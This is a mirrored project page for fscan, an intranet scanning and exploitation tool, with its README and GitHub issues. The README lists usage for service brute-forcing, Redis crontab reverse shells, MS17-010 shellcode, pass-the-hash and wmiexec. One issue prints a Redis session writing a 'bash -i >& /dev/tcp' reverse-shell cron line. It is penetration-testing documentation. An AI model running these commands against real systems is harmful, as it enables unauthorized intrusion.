Giter Club home page Giter Club logo

fscan's Introduction

fscan

English

1. 简介

一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

2. 主要功能

1.信息搜集:

  • 存活探测(icmp)
  • 端口扫描

2.爆破功能:

  • 各类服务爆破(ssh、smb、rdp等)
  • 数据库密码爆破(mysql、mssql、redis、psql、oracle等)

3.系统信息、漏洞扫描:

  • netbios探测、域控识别
  • 获取目标网卡信息
  • 高危漏洞扫描(ms17010等)

4.Web探测功能:

  • webtitle探测
  • web指纹识别(常见cms、oa框架等)
  • web漏洞扫描(weblogic、st2等,支持xray的poc)

5.漏洞利用:

  • redis写公钥或写计划任务
  • ssh命令执行
  • ms17017利用(植入shellcode),如添加用户等

6.其他功能:

  • 文件保存

3. 使用说明

简单用法

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)

其他用法

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)

编译命令

go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)

arch用户安装
yay -S fscan-git 或者 paru -S fscan-git

完整参数

  -c string
        ssh命令执行
  -cookie string
        设置cookie
  -debug int
        多久没响应,就打印当前进度(default 60)
  -domain string
        smb爆破模块时,设置域名
  -h string
        目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
  -hf string
        读取文件中的目标
  -hn string
        扫描时,要跳过的ip: -hn 192.168.1.1/24
  -m string
        设置扫描模式: -m ssh (default "all")
  -no
        扫描结果不保存到文件中
  -nobr
        跳过sql、ftp、ssh等的密码爆破
  -nopoc
        跳过web poc扫描
  -np
        跳过存活探测
  -num int
        web poc 发包速率  (default 20)
  -o string
        扫描结果保存到哪 (default "result.txt")
  -p string
        设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
  -pa string
        新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
  -path string
        fcgi、smb romote file path
  -ping
        使用ping代替icmp进行存活探测
  -pn string
        扫描时要跳过的端口,as: -pn 445
  -pocname string
        指定web poc的模糊名字, -pocname weblogic
  -proxy string
        设置代理, -proxy http://127.0.0.1:8080
  -user string
        指定爆破时的用户名
  -userf string
        指定爆破时的用户名文件
  -pwd string
        指定爆破时的密码
  -pwdf string
        指定爆破时的密码文件
  -rf string
        指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
  -rs string
        redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
  -silent
        静默扫描,适合cs扫描时不回显
  -sshkey string
        ssh连接时,指定ssh私钥
  -t int
        扫描线程 (default 600)
  -time int
        端口扫描超时时间 (default 3)
  -u string
        指定Url扫描
  -uf string
        指定Url文件扫描
  -wt int
        web访问超时时间 (default 5)
  -pocpath string
        指定poc路径
  -usera string
        在原有用户字典基础上,新增新用户
  -pwda string
        在原有密码字典基础上,增加新密码
  -socks5
        指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)
  -sc 
        指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)

4. 运行截图

fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)

fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)

fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)

fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc

fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)

go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)

go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量) img.png

5. 免责声明

本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。

为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。

在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。

如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。

在安装并使用本工具前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。

6. 404StarLink 2.0 - Galaxy

fscan 是 404Team 星链计划2.0 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。

演示视频【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan

7. Star Chart

Stargazers over time

8. 捐赠

如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 点我

9. 参考链接

https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc

10. 最近更新

[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
[+] 2022/1/11 新增oracle密码爆破。
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。
[+] 2021/4/22 修改webtitle模块,加入gbk解码。
[+] 2021/4/21 加入netbios探测、域控识别。
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。

fscan's People

Contributors

a-urth avatar agelovito avatar artemkomyshan avatar canc3s avatar dksslq avatar eviladan0s avatar iansmith123 avatar jindaxia avatar keac avatar lanyi1998 avatar li-mingyu avatar madneal avatar maxsecurity avatar naxg avatar richard-tang avatar ruishawn avatar scyxdd avatar shadow1ng avatar sleepingbag945 avatar u21h2 avatar zh0um1 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

fscan's Issues

指定A段时执行完ping扫描后停止

参数:
-h 10.1.1.1/8 -p 7001,7002,8880 -m webtitle 或
-h 10.1.1.1/8 -p 7001,7002,8880
ping扫描后自动停止,无报错
改为 -h 10.1.1.1/16 -p 7001,7002,8880 -m webtitle 正常运行

一些反馈

师傅,经过大量的实战发现存在以下问题,当然,不排除是我遇到的环境问题:

1、Shiro 识别存在误报

image
fscan 扫描出的shiro,使用其他的shiro利用工具,包括进行手动探测,发现目标并不是shiro

2、mysql 爆破存在问题,忘了截图。。。。

当我使用 -m mysql 指定用户和密码进行爆破时,会跑不出来,使用msf的模块和ladon进行扫描都可以扫出来

3、mssql 爆破存在问题,忘了截图。。。。

与问题2的情况一样

4、锐捷存在大量误报,只找到了一张图了。。。

fscan 扫描出锐捷rce,但访问过去发现并不是锐捷
image

关于流程上的一点小建议

我在将web端口增加为如下时
Info.Ports = "80,81,88,443,888,7001,7002,7004,7008,7080,8000,8001,8002,8008,8010,8048,8080,8081,8082,8084,8088,8089,8090,8098,8161,8848,8880,8888,9001,9080,9090,9098,9200"
对应的DefaultPorts也同步增加了

发现师傅会将所有端口都会先走一遍open,然后到web的时候再去走title,poc,这样导致了效率很低下,

建议web端口不去走TCPportScan,在ip存活的情况下跳过TCPportScan,且web模块的线程调高

发现了报错

start vulscan
panic: reflect: call of reflect.Value.Type on zero Value

goroutine 7663 [running]:
reflect.Value.Type(0x0, 0x0, 0x0, 0x4, 0x19bf400)
reflect/value.go:1908 +0x190
github.com/shadow1ng/fscan/Plugins.ScanFunc(0xc000326690, 0xc000386970, 0x4, 0xc0003f5f98, 0x1, 0x1, 0x0, 0x0, 0x883b5d, 0x12eca80, ...)
github.com/shadow1ng/fscan/Plugins/scanner.go:97 +0x105
github.com/shadow1ng/fscan/Plugins.AddScan.func1(0xc000386970, 0x4, 0xc000510270, 0xc000321e00, 0xc00003a900)
github.com/shadow1ng/fscan/Plugins/scanner.go:85 +0xcd
created by github.com/shadow1ng/fscan/Plugins.AddScan
github.com/shadow1ng/fscan/Plugins/scanner.go:81 +0xdd
image

关于redis扫描

redis> CONFIG GET dir
dir
/var/lib/redis
redis> CONFIG GET dbfilename
dbfilename
dump.rdb
redis> set x "\n* * * * * bash -i >& /dev/tcp/x.x.x.x/9999 0>&1\n"
OK
redis> config set dir /var/spool/cron/
OK
redis> config set dbfilename root
OK
redis> save //保存配置,写入crontab反弹shell
OK
redis> config set dir /var/lib/redis //恢复redis配置文件
OK
redis> config set dbfilename dump.rdb //恢复redis配置文件
OK

可以看懂?扫描器直接改了dir和dbfinlename而不给改回去,这个点建议改良一下~

有很多扫描没有正常进行

先使用 ./fscan -h 10.9.54.1/24
10.9.54.4:22 open
10.9.54.4:8089 open
10.9.54.8:22 open
10.9.54.12:22 open
10.9.54.8:3306 open
10.9.54.6:22 open
10.9.54.5:22 open
10.9.54.8:6379 open
10.9.54.13:22 open
10.9.54.10:22 open
10.9.54.2:80 open
10.9.54.2:8080 open
10.9.54.10:3306 open
10.9.54.10:80 open
10.9.54.8:27017 open
10.9.54.254:22 open
10.9.54.2:11211 open
10.9.54.8:9200 open
10.9.54.8:11211 open
10.9.54.5:8080 open
10.9.54.6:8089 open
10.9.54.9:22 open
10.9.54.7:22 open
10.9.54.9:8080 open
10.9.54.2:8089 open
然后使用./fscan -h 10.9.54.1/16
10.9.3.13:21 open
10.9.2.11:22 open
10.9.3.13:22 open
10.9.3.13:80 open
10.9.2.11:80 open
10.9.3.13:443 open
10.9.2.5:22 open
10.9.3.13:3306 open
10.9.2.5:80 open
10.9.2.16:22 open
10.9.3.13:5432 open
10.9.2.11:443 open
10.9.2.5:443 open
10.9.3.5:22 open
10.9.2.12:22 open
10.9.2.2:22 open
10.9.2.2:80 open
10.9.3.4:22 open
10.9.2.4:22 open
10.9.2.2:443 open
10.9.2.3:80 open
10.9.2.3:443 open
10.9.2.12:443 open
10.9.3.13:8000 open
10.9.3.3:22 open
10.9.2.12:80 open
10.9.2.3:22 open
10.9.2.4:80 open
10.9.2.4:443 open
10.9.3.3:8080 open
10.9.3.10:80 open
10.9.3.10:443 open
10.9.3.10:21 open
10.9.3.10:22 open
10.9.3.10:3306 open
10.9.3.10:5432 open
10.9.3.10:8000 open
10.9.11.3:443 open
10.9.11.3:80 open
10.9.11.2:443 open
10.9.11.2:80 open
10.9.11.1:443 open
10.9.3.2:22 open
10.9.3.1:22 open
10.9.11.5:22 open
10.9.3.254:22 open
10.9.8.2:22 open
10.9.2.13:22 open
10.9.2.13:80 open
10.9.2.13:443 open
10.9.2.250:22 open
10.9.11.1:80 open
10.9.3.1:8080 open
有很多段并没有扫就结束了
使用-hf也是一样,后面发现只要扫描ip数量过大就会出现这种情况

增加功能

增加功能指定一个ip列表然后扫描一小批常见web端口,只去跑http、https然后去除400状态码且访问以后跟随跳转提取title、状态码、返回包大小生成csv格式文件

最新的struts2-046-2poc有问题

用fscan扫到了一个poc-yaml-struts2_046-2,根据poc,应该是判断返回里面是否有"struts2_security_check"
这里遇到一个站点,直接返回的无效文件名,如下:
image
然而这里貌似没有漏洞,感觉这里可能需要改改

为何无法扫描内网

情景:web服务器上通过nps设置socks5代理出来,攻击者本地连接socks5,并使用fscan扫描内网,发现没有任何成功。

是否能加一种新的连接中断方式?

直接在中断的时候 给他发送rst包 (就是那个fin,ack 改成rst,ack)
那样连接就被打掉了 不会有什么短连接了 连接应该直接不见了

这个方式在syn扫描和中断短连接都可以用 不清楚实现难度大不大

关于smb模块的建议

)Q 2N2E4YPOF9357Y@_KN@M
微信图片_20210107125200

测试中发现扫出来一堆smb,在进行验证的时候发现全部是Debain开的Samba服务,而且同一个ip的smb口令认证成功好几个,用其他go写的工具进行测试也得到了相同的结果,如上图所示,然后用.net的那款 超级弱口令测试 发现该linux 的Samba账密就扫不出来,建议加个smb指纹识别 linux上开的smb服务不进行口令爆破, win再进行smb口令认证,再输出结果那儿 将如上图所示的 smb os指纹一同输出。

-np 禁ping时的BUG

环境MAC(windows下正常)

辛苦作者大大

正常情况下:

go run main.go -h 172.20.10.1/24

(Ping) Target '172.20.10.15' is alive
(Ping) Target '172.20.10.1' is alive
(Ping) Target '172.20.10.3' is alive
icmp alive hosts len is: 3
172.20.10.1:21 open

-np下扫描导致错误,并且无法自动结束。

go run main.go -h 172.20.10.1/24 -np

172.20.10.63:21 open
172.20.10.29:21 open
172.20.10.62:21 open
open result.txt: too many open files
open result.txt: too many open files
172.20.10.64:21 open
open result.txt: too many open files
172.20.10.54:21 open
open result.txt: too many open files
...

功能添加

希望添加一个不执行其中某个POC的功能,在暴力破解FTP时程序运行很慢想跳过

编译不成功

大佬,请问为何编译不成功,

报错:
C:\Users\Getin\Desktop\fscan-main>go build -ldflags="-s -w " -trimpath main.go

github.com/shadow1ng/fscan/Plugins

Plugins\ftp.go:4:2: imported and not used: "errors"
Plugins\ftp.go:8:2: imported and not used: "net"
Plugins\ms17017.go:130:4: undefined: MS17010EXP

添加字典后打包不上

package github.com/shadow1ng/fscan
imports github.com/shadow1ng/fscan/Plugins
imports github.com/shadow1ng/fscan/WebScan
imports embed: no Go files in /usr/local/go/src/embed

目前使用1.5.1版本时,爆破ssh与smb存在问题

目前在公司对一个B段进行内部安全排查,发现更新后的版本似乎SSH与SMB爆破结果都是空的。默认线程600,为了准确性我们将线程为100,依然获取不想预期的结果。账号,口令 (其中账号口令是已经确认的) 是通过参数指定,命令如下:
./fscan_amd64_upx -h 10.x.0.1/16 -user xxx -pwd xxx -t 100

针对192.168.1.0-1 和192.168.1.0-192.168.1.1 服务对两个IP的处理结果不相同

文件目录在common下ParseIP.go文件中
134行如下:
for num := startNum; num < endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
AllIP = append(AllIP, ip)
}
114 行如下:
for i := ip1; i <= ip2; i++ {
AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i))
}
第一个是前闭后开,第二个是前闭后闭,导致IP扫描的结果相差1个

扫描打印机的时候崩溃,

win10 x64 ,刚刚编译的最新版

PS D:\Tools> .\fscan.exe -h 192.168.101.177


/ _ \ ___ ___ _ __ __ _ | | __
/ /
/
/ |/ | '/ ` |/ __| |/ /
/ /
\
____
\ (__| | | (
| | (| <
_
/ |/_|| _,|___||_
fscan version: 1.6.0
start infoscan
(icmp) Target '192.168.101.177' is alive
icmp alive hosts len is: 1
192.168.101.177:8080 open
192.168.101.177:139 open
192.168.101.177:80 open
192.168.101.177:21 open
192.168.101.177:443 open
192.168.101.177:9100 open
alive ports len is: 6
start vulscan
[*] WebTitle:http://192.168.101.177:8080 404 404 Not Found
panic: runtime error: slice bounds out of range [47:45]

goroutine 1107 [running]:
github.com/shadow1ng/fscan/Plugins.NetBIOS1(0xc0003e2180, 0xc0003aa620, 0xf, 0xc0003aa6c0, 0x9, 0xc000160930, 0x65, 0x0, 0x0, 0x0, ...)
github.com/shadow1ng/fscan/Plugins/NetBIOS.go:128 +0x157f
github.com/shadow1ng/fscan/Plugins.NetBIOS(0xc0003e2180, 0x0, 0x0)
github.com/shadow1ng/fscan/Plugins/NetBIOS.go:51 +0x75
reflect.Value.call(0xf18020, 0x1267a78, 0x13, 0x10279f9, 0x4, 0xc00054e000, 0x1, 0x1, 0xc000aa9e90, 0x80e358, ...)
reflect/value.go:476 +0x907
reflect.Value.Call(0xf18020, 0x1267a78, 0x13, 0xc00054e000, 0x1, 0x1, 0xc000412b98, 0xc000a98600, 0xc000a98688)
reflect/value.go:337 +0xc5
github.com/shadow1ng/fscan/Plugins.ScanFunc(0xc0003b0600, 0xc000b8e208, 0x3, 0xc000aa9f98, 0x1, 0x1, 0x0, 0x0, 0x803b5d, 0x12686a0, ...)
github.com/shadow1ng/fscan/Plugins/scanner.go:102 +0x245
github.com/shadow1ng/fscan/Plugins.AddScan.func1(0xc000b8e208, 0x3, 0xc0003e2180, 0xc0003aabe4, 0xc00007c8a0)
github.com/shadow1ng/fscan/Plugins/scanner.go:81 +0xcd
created by github.com/shadow1ng/fscan/Plugins.AddScan
github.com/shadow1ng/fscan/Plugins/scanner.go:77 +0xdd

编译时出现问题

WebScan\WebScan.go:4:2: package embed is not in GOROOT (E:\go\src\embed)
出现了这个问题,go版本1.15

已完成的日志记录的ip依然在扫描

ssh 35.198.203.xxx:22 root 0048 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none], no supported methods remain

他这种none的 是不是不支持密码验证的? 如果是的话这bug严重哇
不支持验证为什么他还一直跑流量呢!??
//我于是手动打开ssh 结果发现他是公钥验证的 所以目前这个问题很大

又看了下 发现同一个ip 出现了2个日志
已完成 1680/1781 [-] ssh 34.97.91.a:22 root 1914 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none], no supported methods remain
已完成 1709/1810 [-] ssh 34.97.91.a:22 root 2046 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none], no supported methods remain

Unsolicited response received on idle HTTP channel starting with报错后终止。

2020/12/19 22:34:53 Unsolicited response received on idle HTTP channel starting with "HTTP/1.1 200 OK\r\nCache-Control: no-cache, no-store, max-age=0, must-revalidate\r\nPragma: no-cache\r\nContent-Type: text/html\r\nX-Download-Options: noopen\r\nX-Frame-Options: SAMEORIGIN\r\nX-XSS-Protection: 1; mode=block\r\nContent-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'\r\nX-Content-Type-Options: nosniff\r\nDate: Sat, 19 Dec 2020 14:34:47 GMT\r\nConnection: Keep-Alive\r\nContent-Language: en\r\nContent-Length: 5551\r\n\r\n"; err=

报错后终止。

图片

还有想问一下linux最后跑弱口令,都结束了会卡很久是啥原因?

爆破时会卡住

师傅,多次使用时发现:在跑B段、C段,机器多的时候 mysql、ftp、mssql这些爆破模块会卡住不动,不按ctrl+c的话也不知道要等多久才能结束,有什么办法解决这个问题吗?

关于一些代码希望能和大佬交流下

//
func checkVul(tasks []Task, ticker *time.Ticker) <-chan Task {
var wg sync.WaitGroup
results := make(chan Task)
for _, task := range tasks { //这样开线程,一百个任务直接同时执行....
wg.Add(1)
go func(task Task) { //此处task已有局部变量,不需要再写成函数参数
defer wg.Done()
<-ticker.C //此处用ticker,每次ticker通知的时候,会直接并发执行多个线程,如频率为5,0.00s执行5个,实际应该是每隔200毫秒执行一个比较好
isVul, err := executePoc(task.Req, task.Poc)
if err != nil {
return
}
if isVul {
results <- task
}
}(task)
}
go func() {
wg.Wait() //此处执行到wait时,可能下面的代码已经执行了return,此时返回的结果里会不会漏掉一些扫描结果?实际直接执行这两句就好了,加个defer,不需要go起一个线程吧?
close(results)
}()
return results
}

个人觉得写成下面更科学点

//start process
fmt.Println("Start Process: ",proWorkers)
for i := 0;i< proWorkers;i++{
	pWait.Add(1)
	go func() {
		for data := range processQueue{
			func (){
				defer common.CatchPanic()
				result := handler(data)
				if !IsNil(result){
					outQueue <- result
				}
			}()
		}

		pWait.Done()
	}()

}

格式有点垃圾,望大佬加油~

error

编译了一个,在内网测试的是报错了
image

panic: reflect: call of reflect.Value.Type on zero Value

goroutine 209696 [running]:
reflect.Value.Type(0x0, 0x0, 0x0, 0x4, 0x221a2a0)
c:/go/src/reflect/value.go:1908 +0x13e
github.com/shadow1ng/fscan/Plugins.ScanFunc(0x1434c000, 0x148c09cd, 0x4, 0x15664
fbc, 0x1, 0x1, 0x0, 0x138173d, 0x1d651ec, 0x14026100, ...)
C:/source/fscan-main/Plugins/scanner.go:75 +0xbb
github.com/shadow1ng/fscan/Plugins.AddScan.func1(0x148c09cd, 0x4, 0x14baeb40, 0x
140e45f0, 0x14a6e3c0)
C:/source/fscan-main/Plugins/scanner.go:58 +0x71
created by github.com/shadow1ng/fscan/Plugins.AddScan
C:/source/fscan-main/Plugins/scanner.go:57 +0x9d

我一个朋友的一些建议

A:
你之前说最新的fscan有什么问题了?

XXXXXX:
还是有乱码

A:
还有其他吗

XXXXXX:
指result.txt里面的乱码

A:
image

A:
他只处理了这三种编码 ISO也很常见 没加进去

XXXXXX:
原来如此,给他提个issue

A:
自己改还快些

A:
image

A:
除了443 其他都用http协议访问 难怪会漏报

XXXXXX:
继续提issue

XXXXXX:
让他两种都试试

A:
我先看完吧 他后面有个函数好像能识别https的 另外还有处理

A:
还真的是只识别443端口,另外就是302跳转他也只跳一次,昨天我爆破好几个站点都是跳三次的,虽然第一次登陆可能一般只会有一次跳转

XXXXXX:
给他提issuse

A:
你去啊

A:
我不做伸手党

是否可以添加静默模式

希望可以添加一个静默模式的输出,类似于 ksubdomain 的 -silent 参数

使用后屏幕将仅输出成功爆破或检测出的结果

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.